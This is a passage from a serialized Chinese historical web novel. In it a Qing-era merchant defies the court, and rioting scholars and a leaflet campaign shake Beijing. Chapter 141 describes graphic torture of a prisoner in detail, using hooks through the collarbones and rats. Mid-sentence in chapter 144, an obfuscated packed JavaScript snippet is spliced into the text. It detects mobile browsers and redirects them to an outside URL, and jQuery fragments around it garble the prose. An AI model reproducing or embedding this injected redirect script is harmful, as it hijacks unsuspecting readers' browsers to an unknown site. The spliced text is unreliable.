“没错,这就是我的亲卫军。”陈逸风轻蔑地看着他,嘴角勾起一抹冷笑。“在琉球招的二百人,你想怎样?让曾国藩先裁二十万军队,回头再谈这二百号人的事宜。” “你......”楚三爷气得浑身发抖,话都说不利索了。 “怎么?许他曾家养了一支私兵,不许我养几个护卫?”陈逸风冷笑。 “要不是这些兄弟,那天晚上我早就被王四莲烧死了。大清既然不保我,我只好自保。” 他走到窗前,望着远处的码头。那里停泊着几艘洋船,桅杆高耸入云。“实话告诉你,我在琉球还有二百多士兵。这是我保命的本钱,你回去跟朝廷说清楚,这几百兄弟我是留定了。顶多领着他们离开,离开大清。” 说完,陈逸风转身就往后宅走。 三爷火速追赶:“兄弟你别糊涂啊!皇上太后都是要重用你的,你就不能收敛些洋人习气?在大清,总得有个大清臣子的样子......” 陈逸风充耳不闻,径直走进内宅。 富察瑜音正靠在床边痛哭,泪水打湿了衣襟:“怎么会这样......皇上啊!太后啊!瞧瞧这帮狗腿子惹出的乱子,这是要把我夫君往绝路上逼!” 当晚,富察瑜音和楚三爷连夜写了密信,把望海暴动的前因后果详细禀报给皇上太后,还附上了大量照片和证据。 第一百四十一章 我要亲自审他 等事情都安排妥当,已是后半夜。月光如水,洒满庭院。 楚三爷咬牙切齿道:“带我去见王四莲,我要亲自审他!”眼中闪烁着愤怒的火光。 “算了吧。”陈逸风摇头,语气中带着几分嘲讽。“我怕你又给我加个私设地牢的罪名。我背负的孽债已然不少。” 最终,陈逸风还是拗不过三爷。在孟明蛇带领下,两人摸黑来到城外的秘密地牢。 撬开库房的密道,一条窄窄的台阶通向地下。潮湿的空气中弥漫着一股腐臭味。走了三四米,就看到一扇铁门,里面传出阵阵鬼哭狼嚎。 铁门打开,血腥和腐臭扑面而来,差点把楚三爷熏倒。 “这是...王四莲?”三爷倒吸一口凉气,眼中满是震惊。 两根铁勾刺穿琵琶骨,将一丝不挂的汉子悬在木架之上。遍体鳞伤血肉模糊,幸亏是冬天,不然早就生蛆了。昔日那个趾高气扬的密探,如今已经变成了一具血肉模糊的躯壳。 王四莲喉咙里发出野兽般的声音,眼睛肿得只剩一条缝。看到楚三爷,他突然激动起来,浑身剧烈颤抖。 “是...三爷吗......”他用尽全力挤出声音,“求三爷救我......” “妈的,饿了三天还能喘气说话?”一旁的军爷举臂便是两记狠鞭。皮鞭划破空气,发出尖锐的啸声。 血溅到三爷脸上,他被陈逸风的手段震住了。这哪里还是那个温文尔雅的商人?分明就是一个不折不扣的刽子手。 “怎么?心软了?”陈逸风冷哼,眼中闪过一丝嘲讽。“又认为我忤逆不孝了?没错,我私设地牢,养兵犯了王法。可他们要杀我的时候,可曾手软过?” 他走到王四莲面前,居高临下地看着这个曾经不可一世的密探:“我知道你恨我,想杀我。但你的恨,不是因为我的军队。你说要为大清除叛逆,不过是个借口。”陈逸风的声音冰冷刺骨。 “你无非就是想要我的钱,还有你打心眼里看不起我这个二鬼子。你觉得我该跪在你面前磕头请安。呵呵,满朝文武,又有几个瞧得起我的?” “滚去地府带着你们那套官场把戏!来人,再给他上刑!” 王四莲喉咙里发出嗯嗯声,士兵拿来一个竹篓,里面全是活老鼠。老鼠在篓子里窸窸窣窣,发出令人毛骨悚然的声音。 “这王四莲受过训练,手指都订烂了也不招。”陈逸风冷笑,“他练童子功,跟太监一样渴望传宗接代。那就灭了他这点渴望......” 竹篓套在王四莲两腿之间,老鼠在里面乱窜撕咬。凄厉的惨叫声回荡在地牢中。 “啊......你不是人......杀了我......” “这就是我的决心。”陈逸风声音冰冷,目光如刀。“谁也休想在我头上撒野,爷也是个疯批......” 楚三爷听得心里发寒。他明白,这话是说给他和整个朝廷听的。 这个男人,是一点亏都不肯吃啊。 地牢的铁门“咣当”一声关上,隔绝了里面的惨叫声。月光下,陈逸风的背影显得格外孤寂。他知道,自己选择的这条路,注定充满荆棘。但既然选择了,就再无回头路可走。 陈逸风来到港边,望着远处的海平线。 这片海域,他再熟悉不过。每一处暗礁、每一处浅滩,都如同掌纹般刻在脑海中。 “先生。”亲信郑瑾小跑着靠近,压低声音道,“那几个密探都招了。” 陈逸风眯起眼睛,目光依旧停留在远处的海面。“让他们把话说得再大声些。” “是!”郑瑾领命而去。 不多时,凄厉的惨叫声从码头仓库的方向传来。那声音时高时低,夹杂着断断续续的求饶声,在海风中飘荡得格外清晰。 陈逸风嘴角微扬。这些声音,自然会传到那些潜伏的朝廷耳目耳中。 “先生!”又一个亲信匆匆赶来,“玄甲新军已经准备就绪,随时可以出发。” 陈逸风转身,目光扫过港口停泊的战船。十余艘西式战船整齐排列,桅杆高耸入云。这些战船是他的底气所在,每一艘都配备了最先进的火炮。 “告诉兄弟们,随时准备迎接一场硬仗。” “先生,您就不担心朝廷震怒吗?”亲信忍不住问道。 陈逸风轻笑一声:“担心?我倒要看看,这满清朝廷能拿我怎么样。” 他走到船边,手指轻轻敲击着船舷。铁质的船体发出沉闷的响声,如同某种不祥的预兆。 远处传来一阵马蹄声,打断了陈逸风的思绪。一名斥候策马而来,勒马停在码头边。 “报告先生!”斥候翻身下马,“京城来人了!” 陈逸风眉头微皱:“多少人?” “一队骑兵,约莫三十人。”斥候答道,“打着钦使的旗号。” “呵。”陈逸风冷笑,“看来朝廷是想来软的。” 他转身走向码头的办公室,脚步声在木板上发出咯吱响声。 办公室里,几名亲信正在整理缴获的文件。桌上摆着那份秘旨和腰牌,都是从密探身上搜出来的。 “大人,这些密探的供词我们已经整理好了。”一名亲信递上一叠纸张。 陈逸风随手翻看,目光在某处停顿。“有意思。”他将那页纸放在桌上,“朝廷居然想用这种方式对付我。” 就在这时,外面传来一阵喧哗声。 “钦使大人到!” 陈逸风整了整衣冠,慢条斯理地走出办公室。 码头上,一队人马已经列队等候。为首的是一名身着官服的中年人,面色严肃。 “下官见过钦使大人。”陈逸风拱手行礼,语气恭敬,眼神却带着几分戏谑。 钦使大人扫了一眼四周,目光在那些战船上停留片刻。“陈先生,朝廷有旨意。” “哦?不知朝廷有何旨意?” 钦使从怀中取出一道圣旨,展开宣读:“奉天承运皇帝,诏曰:明月商行陈逸风,忠勇可嘉,着封为......” 陈逸风听着这些冠冕堂皇的话语,嘴角的笑意越发明显。朝廷这是打算用官职来收买他? 第一百四十二章 朝廷的试探 “钦使大人。”等宣读完毕,陈逸风开口道,“不知朝廷可曾想过,若是我不接受这道圣旨呢?” 钦使脸色一变:“陈大人这是何意?” “没什么意思。”陈逸风摆摆手,“只是觉得,朝廷似乎对我有些误解。” 他转身走到船边,指着那些战船:“钦使大人可知道,这些战船能做什么?” 钦使默然不语。 “从望海到山海关,从登州到青岛,再到泉州、上海、福州......”陈逸风的声音不紧不慢,“整个沿海,都在这些战船的射程之内。” 钦使的脸色越发难看。 “回去告诉朝廷。”陈逸风收起笑容,“我陈逸风,不是那么好收买的。” 钦使离开后,郑瑾凑上前来:“先生,这样会不会太过火了?” “过火?”陈逸风笑道,“这才刚刚开始。” 他知道,自己这番话必然会传到紫禁城。但这正是他想要的效果。 而此时的紫禁城内,慈禧、慈安等人正为此事焦头烂额。 “这个陈逸风,居然敢如此放肆!”慈禧气得脸色发白,手中的茶杯都在微微颤抖。 裕王胤禛提议道:“调三千八旗兵去剿。” “三千?”慈安连忙劝阻,“动静太大了,洋人都在看着呢。” 就在众人争执不下时,同治帝开口了:“诸位可曾想过,陈逸风最大的优势是什么?” 殿内众人一愣。 “是大海!”皇帝指着地球仪,“他若是带兵出海,沿着海岸线一路烧杀,后果不堪设想!” 这番话让在座所有人都倒吸一口凉气。 “那该如何是好?”慈安急得直搓手。 “暗杀?”慈禧试探着问道。 同治帝摇头:“陈逸风岂是那么容易对付的?就算杀了他,他的部下只会更加疯狂。” 最后,这场御前会议的结果出人意料 - 冷处理。 当这个消息传到望海时,已是三日后。 陈逸风正在检查新到的一批火药,听到这个消息时先是一愣,随即大笑起来。 “好一个满清朝廷!遇事只会装聋作哑,以为闭上眼睛就没事了?” 他站在码头边,望着渐渐西沉的太阳。夕阳的余晖映照在海面上,将整片海域染成了金色。 “大人,接下来我们该怎么办?”郑瑾问道。 陈逸风没有立即回答。他的目光投向远方,仿佛能看到更遥远的未来。 朝廷的软弱,反而给了他更大的施展空间。 “传令下去。”陈逸风开口道,“让兄弟们加紧训练,随时准备出海。” “是!” 夜幕降临,望海港渐渐安静下来。只有海浪拍打着船舷的声音,在黑暗中回荡。 京城的茶馆里,人声鼎沸。檀香袅袅升起,茶香四溢,却掩盖不住空气中弥漫的火药味。 “黄兄,我来晚了,自罚三杯!”一名身着青衫的举子推门而入,脸上带着几分歉意。他的衣袖上还沾着几点墨迹,显然是刚从书房赶来。 黄姓举子放下手中的茶盏,眉头紧锁:“玉公子,都这节骨眼了你还窝在书房啃书本?大清都危在旦夕了!”他一把拉住对方的手臂,指节因用力而发白。 “朝廷不是说要处理望海的事了吗?”玉公子轻声问道,目光扫过满座的举子。 “处理?哼!”黄举子冷笑一声,“朝廷里早就被奸臣把持了!那些人,一个个都是墙头草,见风使舵的主。” 茶馆里挤满了各地赶考的举子,三三两两围坐在方桌旁。有人捧着茶盏品茗,有人低声议论,更多的人脸上带着愤怒和不甘。他们谈论的话题无一例外都是望海事变,以及那个让他们咬牙切齿的陈逸风。 “你们可知道,前几日我去望海走了一趟。”一名身材魁梧的举子站起身来,“那里的百姓,活得连牲口都不如!” “怎么说?”周围的人纷纷凑近。 “陈逸风在那里设立地牢,随意关押百姓。但凡有人说他半句不是,立刻就被抓进大牢。更可恨的是,他竟然强迫百姓学习那些歪门邪说!” “什么歪门邪说?” “什么地圆说,什么人能飞天,简直是胡说八道!”魁梧举子一拍桌子,茶水溅出杯沿,“他还说,人是从猴子变来的,这不是存心要与圣人作对吗?” “岂有此理!” “太放肆了!” “这是要动摇国本啊!” 举子们群情激愤,有人甚至站起身来,将茶盏重重摔在地上。碎片四溅,茶水洒了一地。 那一夜的火光,至今让他们热血沸腾。他们烧了陈家的门房,甚至冲到紫禁城外跪地请愿。更让人意外的是,朝廷不仅没有惩处他们,连恩科都没有取消。这让举子们的胆子更大了。 九门城的百姓对他们也是赞不绝口,茶馆酒肆常常有人偷偷帮他们付账。就连一些八旗子弟也会主动上前敬酒,称赞他们有骨气。 “诸位可还记得岳举人之死?”一名瘦削的举子突然开口,声音中带着哽咽,“他本是我们科考的领头人,就因为反对陈逸风的邪说,竟被活活打死在大街上!” “我记得,我都记得!”有人捶胸顿足,“那天我就在现场,岳举人到死都没有低头!” “最可恨的是,打死人之后,陈逸风居然说这是文明开化的必经之路!”瘦削举子的声音颤抖着,“什么文明开化,分明是要断我们的根啊!” 就在这时,角落里传来一个冷冷的声音:“一帮没开化的憨憨,铁船早就在西洋各国通行了,你们还在这里大放厥词。” 众人循声望去,只见一名广东举子正端坐在那里,面带不屑。他的衣着打扮与众不同,领口处还别着一枚西式领针。 “你这个西学走狗!”有人怒喝。 “大地是圆的,这是西洋人早就证实的事实。”广东举子不慌不忙地说道,“船只向一个方向航行,最终能回到原点,这还需要争论吗?” “放屁!”一名醉醺醺的举子摇摇晃晃地站起来,“来个铁证给我看看这星球咋就是圆的!” “证明?”广东举子冷笑,“冬天冷夏天热需要证明吗?这都是显而易见的事实!” “那你倒是证明你是你爹妈亲生的啊!”醉汉挥拳就打,却被酒意绊倒在地。 “打死这些西学走狗!” “呸!一群目光短浅的腐儒!” 第一百四十三章 茶馆冲突 茶馆里顿时乱作一团,桌椅横飞,碗碟四溅。有人抄起茶壶当武器,有人拆下门板当盾牌。茶水混合着血迹,在地上蜿蜒成河。 老板躲在柜台后面直哭:“各位爷行行好,小店经营不易啊!” “闭嘴!”一个碟子擦着他的头顶飞过,砸在墙上碎成粉末。 一旁的八旗子弟看得兴致勃勃:“这可是难得一见的读书人斗殴啊!要是能打出人命来,那就更有意思了。” 两名举子扭打着滚到了街上,引来无数围观的百姓。有人叫好,有人劝阻,更多的人只是冷眼旁观。 “打得好!” “给那些西学走狗一点颜色看看!” “都是读书人,何必动手?” 承天府的衙役闻讯赶来,挥舞着水火棍:“都住手!要不要功名了?” 举子们这才作鸟兽散,但临走时还不忘放几句狠话:“这事没完!” 整个京城的茶馆酒肆,到处都在上演类似的冲突。支持西学的人虽然人数较少,但他们头脑清醒,而且暗中得到不少开明士绅的支持。 这一天,京城内发生了十二起斗殴事件,无数场口舌之争。有人受伤,有人被抓,更有人趁机打砸抢。 宗学与西学的对抗,已经到了不可调和的地步。 而这一切的源头,都指向那个在望海掀起风浪的男人——陈逸风。 就在这时,一个消息传来:陈逸风要进京了。 “什么?他敢来京城?” “好啊,正好让他见识见识我们的厉害!” “兄弟们,准备好了!” 举子们摩拳擦掌,准备给陈逸风一个“热烈”的欢迎。但他们不知道的是,朝廷早已派出大量兵马,严密监视着他们的一举一动。 北京城的冬日清晨,灰蒙蒙的天空下飘着细碎的雪花。寒风裹挟着雪粒,在街巷间肆意游走,将路边摊贩的棉布帘子吹得猎猎作响。 街道上行人寥寥,大多是为生计奔波的小贩和闲来无事的八旗子弟。几个身着绸缎的八旗子弟正悠哉地遛着鸟,手中提着精致的鸟笼,时不时驻足闲聊。 “诶,黑岳,你瞧那边。”一个身材魁梧、面色红润的八旗子弟用手肘碰了碰身旁的同伴,目光投向远处,“这些举子不在家温书,大清早跑出来遛弯?” 黄姓八旗子弟眯起眼睛仔细打量,只见远处三三两两走来几个身着长衫的读书人,腰板挺得笔直,脸上带着几分焦躁不安。 “可不是嘛。”黄姓八旗子弟摇头晃脑,捋着稀疏的山羊胡,“再过半个月就要开考了,这些读书人最近可邪性得很,动不动就打架。前儿个我还看见他们在茶馆里吵得不可开交。” “打架?”另一个瘦高个儿的八旗子弟插嘴道,“为什么打架?” “还不是为了那个什么西学。”黄姓八旗子弟压低声音,“听说是有人主张改革科举,要把西洋学问也纳入考试范围。这不,把那些老学究们给惹毛了。” “糟了!”魁梧汉子突然惊呼,“你们看,他们都往裕王府去了!” 果然,零零散散的举子们都朝着同一个方向汇聚。当晨钟敲过八响,裕王府门前已经聚集了上百名举子。这些举子个个面带怒色,眼中燃烧着愤怒的火焰。 最近几日,西学派在京城四处挑衅,不仅与宗学举子发生冲突,甚至连一些秀才、童生都被煽动,公然与举人作对。更有甚者,竟然在茶馆、酒楼公开宣扬要废除八股取士。 “岂有此理!”一名面色蜡黄的举子咬牙切齿,手中的折扇被捏得咯咯作响,“区区西学蛊惑人心,竟敢如此猖狂!” “必须讨个说法!”另一人握紧拳头,青筋暴起,“裕王殿下身为议政衙门大臣,今日必须给我等一个交代!” 王府内,裕王正在听取门房的禀报。 “哼,不过是些举子罢了。”裕王不以为然地摆摆手,“让承天府和九门提督派人驱散便是。” 说罢,他起身换上练功服,施施然去了后花园。在他看来,这些举子不过是跳梁小丑,根本不值一提。 二十多名王府护卫鱼贯而出,排成一排拦在门前。他们个个腰佩长刀,面色严肃。 “都散了!”为首护卫厉声喝道,目光如刀般扫过众人,“这里是裕王府,岂容尔等聚众闹事!” 一名身着青衫的南方举子上前施礼,声音温和却坚定:“在下浙江梁羊野,只想求见王爷一面...” “滚!”护卫粗暴地打断道,“王爷岂是尔等想见就能见的?识相的赶紧离开,否则别怪我们不客气!” “放肆!”一个四川口音的举子挤出人群,怒喝道,“我等公车上书,为何要被驱散?议政衙门推行特区,到底意欲何为?陈逸风大逆不道,为何不派兵剿灭?” “好大的胆子!”护卫瞪圆了眼睛,“敢质问王爷,留下名号!” “四川苗阳云!”那举子昂首挺胸,“有何不敢?” “我是北境举子!” “我是安徽举子!” “我是陕西举子!” 此起彼伏的呐喊声中,越来越多的举子加入其中。他们有的挥舞着折扇,有的握紧拳头,眼中闪烁着愤怒的火光。 护卫们手挽手筑起人墙,但面对愤怒的举子们节节败退。空气中弥漫着火药味,一触即发。 突然,一只破鞋飞来,正中一名护卫面门。那护卫踉跄后退,脸上瞬间涌起一片红肿。 “打!”护卫们怒吼着冲入人群。 混乱中,周围看热闹的百姓也被卷入其中。有人推搡,有人叫骂,整条街道乱作一团。长衫被撕破的声音,拳脚相加的闷响,此起彼伏的怒骂声交织在一起。 而在不远处的一座四合院屋顶上,几个身影正默默观察着这一切。 秋七四站在房中,手指轻轻划过桌上的京城地图。她的目光在几个关键位置来回游移,嘴角挂着若有若无的笑意。 “堂主,要不要派人帮忙?”一个手下低声问道,“事态似乎有些失控了。” “不急。”秋七四转身走到窗前,望着远处升起的尘嚣,“等人数超过一千,才是我们该出手的时候。” 这时,急促的马蹄声由远及近。 京城禁军统帅携大批兵马姗姗来迟,在司阿的带领下强行分开了混战的人群。司阿骑在马上,目光如炬地扫视着周围。 “都住手!”司阿厉声喝道,“胆敢再闹事者,一律重惩不贷!” 举子们不甘心地后退几步,但眼中的怒火丝毫未减。护卫们也收起了兵器,但仍虎视眈眈地盯着对方。 三方对峙,剑拔弩张。 第一百四十四章 京城混乱的序幕 而在东城,翁同龢的书房内,这位雅流显贵正独自坐在太师椅上,神情凝重。窗外的喧嚣似乎完全无法影响到这里的宁静。 书桌上散落着一堆宣纸,密密麻麻写满了字迹。这些墨宝若是流传出去,按照他在京城一字百两的润笔费,怕是能值个万把两银子。可惜,这些字迹注定要付之一炬。火盆里焚毁了几分,剩下的也将步其后尘。 “至圣先师斩少正卯......”翁同龢喃喃自语,眼神有些恍惚。 书房内光线昏暗,只有一盏油灯在角落里微弱地闪烁。灯影摇曳间,翁同龢的面容显得格外憔悴。他已经连续几天没有好好休息了,自从陈逸风的事情闹大以来,他就一直在思考这个问题。 “圣人当年下令**,心中可曾犹豫过?可曾矛盾过?”他的声音里带着一丝不易察觉的颤抖。 案头的《论语》摊开着,那些熟悉的文字此刻却显得如此陌生。翁同龢想起了那个在鲁国被孔子以“五中恶性”为由处死的法家先驱。最大的罪名,不过是“聚众宣扬邪说”。 这个罪名,在历朝历代都显得有些牵强。春秋时期百家争鸣,思想激荡,连孔子的得意门生颜回都多次去听少正卯讲学。可孔子还是下手了。 “陈逸风......”翁同龢苦笑着摇了摇头,“你比少正卯更可怕。你不单会写书立论,还能聚敛钱财,甚至拥有了精锐之师。你动摇了传统学说的根本。” 他站起身,在书房里来回踱步。地上的影子被灯光拉得很长,像是一个摇摆不定的幽灵。“对不起,我没有选择。无论你是对是错,只要你继续传播西学,我就必须对付你。你必须死......” 翁同龢的声音有些哽咽。他其实相信陈逸风书中所写的一切,那些已经被西方证实的知识,他又怎会不信?但他只能偷偷相信,绝不能表露出来。 书房的角落里,一只老鼠悄悄探出头来,又迅速缩了回去。这个细微的动静让翁同龢愣了一下,随即自嘲地笑了。“我们这些人,何尝不是像这老鼠一样,躲在黑暗里偷偷相信真理?” “要是我也认怂了,宗学还有未来吗?”他走到窗前,望着外面的天空,“这是个多么可怕的时代啊!你们为何要毁掉我们的心灵圣地?没有了宗学,天下读书人还怎么活?” 就在这时,管家慌慌张张地推门而入:“老爷!着火了!” 原来几张写满“至圣先师斩少正卯”的宣纸被炭盆引燃,火苗已经蹿得老高。管家连忙扑过去拍打,额头上的汗水滴落在地上。 “老爷,裕王府那边已经打起来了!”管家一边扑火一边急促地说道,“四五百人混战,九门提督和承天府的人正在分开他们。九门城的读书人都往那边赶,连城外的也来了,估计马上就要上千人了......” “乱吧!”翁同龢勃然大怒,一掌拍在书桌上。桌上的笔墨纸砚震得跳了起来,墨汁溅到了他的衣袖上。 “这点混乱算什么?等西方的学说思想全部涌进来,到时候才是真正的天下大乱!父子相残,兄弟相杀,礼教崩毁,那才叫天崩地陷!” 管家被这突如其来的怒火吓得连连后退,差点撞到身后的书架。 “去吧,让读书人闹!”翁同龢挥了挥手,声音里带着一丝疲惫,“若此刻不奋起,以后就再没机会了。” 消息很快传到了紫禁城。 “这些酸书生太狂妄了!”慈禧在殿内来回踱步,珠帘叮当作响,“朝廷已经宽恕他们了,怎么还要**?” 慈安坐在锦榻上,轻轻摇着团扇:“坐下歇歇吧。这些文人,我算是看透了。他们已经慌了神。” “以前他们不把陈逸风放在眼里,只在背后使绊子。现在看到陈逸风一路过关斩将,所有难题都被化解了,他们慌了。他们担忧官府放弃传统。” “那姐姐的意思是......”慈禧停下脚步,转身看向慈安。 “依旧要晓之以情。”慈安叹了口气,放下团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581572|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇,“现在已经不是开国之时了,不能用强。这些读书人闹累了自然就散了。” 裕王府外,司阿骑在马上,看着越聚越多的读书人,也是一筹莫展。他的坐骑不安地打着响鼻,似乎也感受到了空气中的紧张气氛。 上峰只让他们隔离人群,等他们自行退散。可这些读书人不但不散,反而越来越多。他们的情绪也越来越激动,有人甚至开始撕扯官兵的衣服。 “有辱斯文!”一个戴着方巾的读书人挤到最前面,指着司阿怒吼,“我们清除洋学歪风,护佑宗学,怎么就成了罪过?你们给我们一个说法!” “交代!向天下学子一个解释!”呐喊声此起彼伏,震得司阿的马儿不停地后退。 司阿扯了扯缰绳,无奈地摇头:“向我讨要什么说法?朝廷只是不让你们打架。都快晌午了,回去喝酒吧......” 这话反而激怒了读书人。人群不断壮大,很快就有上千人,怒吼声震天动地: “清除洋学歪风!诛杀陈逸风!” “杀西学!杀陈逸风!” 成百上千的读书人开始在京城**,分成数条长龙,向各条街道蔓延。他们中有的人挥舞着书册,有的人举着木牌,上面写着各种口号。 更多的百姓加入了他们的队伍。在这个高压的时代,能放肆地喊几声,也是难得的发泄。有小贩趁机叫卖茶水点心,街边的茶馆酒肆也都挤满了看热闹的人。 京城沸腾了。 无数民众听闻了学子的呐喊。在这个尊崇知识的时代,民众几乎本能地选择相信读书人。街道上人头攒动,喧嚣声不绝于耳。 可他们不知道,在长龙附近,一双双警惕的眼睛正在注视着这一切。有人已经悄悄爬上了房顶,有人混在人群中默默观察,还有人躲在街角的阴影里记录着什么。 天空中飘过一片乌云,遮住了正午的阳光。微风吹过,带来一丝凉意。 陈逸风的反击,即将开始。 第一百四十五章 陈逸风的九策书 寒风凛冽,淮河早已冰封。 往日繁忙的水运几近停滞,望海城也渐渐安静下来。积雪覆盖着街道,偶尔有几个行人匆匆而过,留下一串深浅不一的脚印。 陈逸风却闲不住,带着楚三爷、迈克、洛根等人骑马在荒野间疾驰。马蹄踏过积雪发出沉闷的声响,扬起的雪花在空中飘散。 “就是这里了。”陈逸风勒住马缰,目光扫过眼前这片空旷的土地。寒风吹得他脸颊通红,但那双眼睛却异常明亮。 楚三爷裹了裹大衣,凑到陈逸风身边:“这荒地有什么特别之处?” “特别之处?”陈逸风轻笑一声,“三爷,这里将是未来的工业特区。” 迈克骑马上前几步,仔细打量着地形:“交通确实便利,北面有煤铁资源,南面临海,运输成本很低。” “没错。”陈逸风点头,“第一步就是建钢铁厂。迈克,你们卡内基家族在钢铁业可是行家,这事得靠你了。” 洛根摘下手套,掏出随身携带的记事本,快速记录着什么。寒风吹得纸页哗哗作响,他不得不用另一只手按住纸张。 “钢铁厂之后呢?”楚三爷问道。 陈逸风眯起眼睛:“机械厂,然后是兵工厂。军火生意最赚钱,只要质量过关,产多少卖多少。” 孟明蛇一直沉默不语,此时突然开口:“先生,京城那边传来消息......” “我知道。”陈逸风打断他的话,“那些举子秀才先是冲击裕王府,接下来就该找我麻烦了。” 楚三爷面露忧色:“这事不好办啊,读书人最会煽动舆论。现在城里到处都在传,说你勾结洋人,祸害百姓。” “是啊,”楚三爷也劝道,“要不就低个头算了?跟读书人斗气没好处。” 寒风呼啸而过,陈逸风的马儿不安地打了个响鼻。他伸手安抚着马儿,声音却冷了下来:“低头?他们先是造谣生事,又派人暗杀我,还挑拨地方士绅对付我。这口气,我咽不下去!” “那你想怎么办?”楚三爷皱眉,“总不能又动刀动枪吧?现在朝廷正盯着咱们呢。” 陈逸风嘴角微扬:“三爷是觉得我只会用暴力?这回我让你见识见识,什么叫以其人之道还治其人之身。” 与此同时,京城内。 秋七四站在二楼雅间,望着街道上来来往往的行人。屋内炭火正旺,驱散了几分寒意。 “堂主,都准备好了。”一个下人轻声禀报。 秋七四转身,目光扫过屋内众人:“按计划行事,让这些读书人见识见识我们的手段!” 话音刚落,数十只信鸽便腾空而起,带着密令飞向四面八方。街道上,装扮成小贩的探子们开始行动,在街巷间穿梭。 很快,大字报就贴满了城中各处。“冤”字格外醒目,远远就能看见。路人纷纷驻足观看,三三两两地议论着。 “这是什么?” “陈逸风喊冤的大字报。” “快看看写了什么......” 探子们动作迅速,几千张大字报瞬间布满全城。紧接着,轻功高手们纷纷跃上房顶,将传单撒向空中。 “大家快看啊,这是陈逸风的九策书!” 雪片般的传单在空中飘舞,连正在示威的读书人都被吸引了注意力。传单上写着“陈逸风九策书”,字迹虽然潦草,但足够清晰。 “第一问,朝廷为何要暗杀我?王四莲持秘旨调兵围攻我的明月商行,这是何道理?” “第二问,承禄府死伤三百多人,难道他们都是叛逆?” “第三问,为何要毒杀我的家眷,断绝我陈家血脉?” “第四问,我为望海开设明月商行,带来商机,何错之有?” “第五问,我捐银十万两修建码头,为何反被诬陷中饱私囊?” “第六问,我救灾赈济,为何被说成收买人心?” “第七问,我若真是乱臣贼子,为何不举兵造反,反而在此喊冤?” 读书人们起初不以为然,认为这不过是陈逸风理屈词穷的挣扎。可随着时间推移,街头巷尾的议论声却渐渐变了味道。 “这九策书说得有理啊,那朝廷确实做得太过分了。” “是啊,连人家后代都要断绝,这也太狠了。” “我听说陈逸风确实做了不少好事,去年闹灾荒的时候,他可是捐了不少粮食。” “咱们还是别掺和了,这里面水太深。” 秋七四站在窗边,看着街上议论纷纷的百姓,她轻声笑道:“第一步完成了。” 与此同时,城中各个茶馆、酒楼里,都有人在讲述陈逸风的故事。有说他如何救助穷苦百姓的,有说他如何被朝廷陷害的,甚至还有人说他其实是被冤枉的忠臣。 这些故事或真或假,但经过精心编排,听起来格外动人。讲书人说得声情并茂,听众们不知不觉就被带入了情境中。 而在城外的一处宅院里,几个读书人正在激烈争论。 “不能坐视不管了!陈逸风这是在煽动民心!” “可他说的那些事,我们也说不清楚啊。” “对啊,要是他真能拿出证据,那我们岂不是......” “住口!”为首的人拍案而起,“不管真相如何,我们都不能让他得逞。必须马上想办法应对!” 可惜已经晚了。陈逸风这一手,看似简单的传单,却让局势悄然生变。那些善于思考的人已经察觉到不对劲。这哪里是什么示弱认输,分明是在以理服人,以情动人。 而那些沉浸在胜利喜悦中的读书人,还不知道他们引以为傲的舆论阵地,已经开始动摇。 就在这时,又一批传单从天而降。这次的内容更加劲爆:有人在裕王府附近发现了密信,证明某些读书人收受贿赂,故意诬陷陈逸风...... 与京城的动荡相反,望海此刻一片祥和。 明月商行内,一台木箱大小的油墨印刷机静静摆在楚三爷面前,散发着淡淡的机油味道。 楚三爷眯着眼睛打量这个新奇玩意,眼中满是困惑。他伸出布满老茧的手指,轻轻触碰着机器表面,仿佛在确认这不是什么障眼法。 “这是什么东西?”他忍不住问道,声音里带着几分警惕。 第一百四十六章 奉陪到底 陈逸风站在一旁,目光温柔地抚摸着印刷机光滑的木纹。机器表面反射的光芒映在他的眼中,闪烁着兴奋的光芒:“这是我的心头肉,在欧洲早就开始普及的银版印刷机。” “印刷机?”楚三爷皱起眉头,眼角的皱纹堆积如山,“不是有书局吗?何必...” 话音未落,陈逸风已经挥手叫来一名身着西装的明月商行伙计。那伙计动作娴熟,三两下就将蜡纸安装妥当。随着他转动滚筒的动作,齿轮发出细微的咔嗒声,一张清晰的传单便从机器另一端滑落。 楚三爷颤抖着手指拿起传单,纸张微微发皱。这张薄薄的纸上,赫然印着陈逸风的九策书。每一个字都清晰可见,比之前手抄的版本整齐了不知多少倍。 “这...”楚三爷的声音有些发颤,“你这是要...” “明白了吧?”陈逸风冷笑一声,眼中闪过一丝锐利的光芒,“这就是我要的武器。” 楚三爷倒吸一口凉气,脸色瞬间变得苍白:“你这是要和雅流们...” “没错,就是要和他们干一场。”陈逸风眼中闪过一丝寒光,声音里带着压抑已久的愤怒,“这些读书人仗着垄断文字,几千年来一直控制着舆论。现在,该让他们尝尝工业时代的厉害了。” 明月商行内一时寂静无声,只有窗外传来的马车声和行人的喧闹。楚三爷的目光在印刷机和传单之间来回游移,额头上渗出细密的汗珠。 “你疯了!”他终于忍不住低吼出声,“这是要和朝廷对着干啊!你可知道这意味着什么?” 陈逸风不以为然地摆了摆手:“三爷,您觉得我有得选吗?那些人三番五次要我的命,我若再不反击,只怕连命都保不住了。” 楚三爷张了张嘴,却说不出话来。他太了解那些人的手段了,一旦被他们盯上,不是你死就是我活。 “您尽管去报信吧。”陈逸风淡淡道,转身望向窗外熙熙攘攘的街道,“不过请带个话,从今天起,我陈逸风寸步不让。他们要战,我便奉陪到底。” 当天下午,京城街头巷尾突然飘起漫天传单。那些正在游行示威的读书人顿时乱了阵脚。他们又叫又跳,疯狂撕扯空中飞舞的纸张,却怎么也阻挡不住传单如雪片般纷纷扬扬。 “这陈逸风简直是疯了!”有人愤怒大喊,声音里带着难以置信。 “快去报官!抓人!”又有人叫嚷,声嘶力竭。 可承天府的衙役和九门提督的士兵们却只能干瞪眼。那些散发传单的人就像幽灵一般,转眼就消失在街巷之中。他们穿梭在熟悉的胡同里,将一张张传单塞进过往行人的手中,或是任由风将它们吹向更远的地方。 到了傍晚,示威的队伍终于疲惫不堪地散去。但这只是开始。 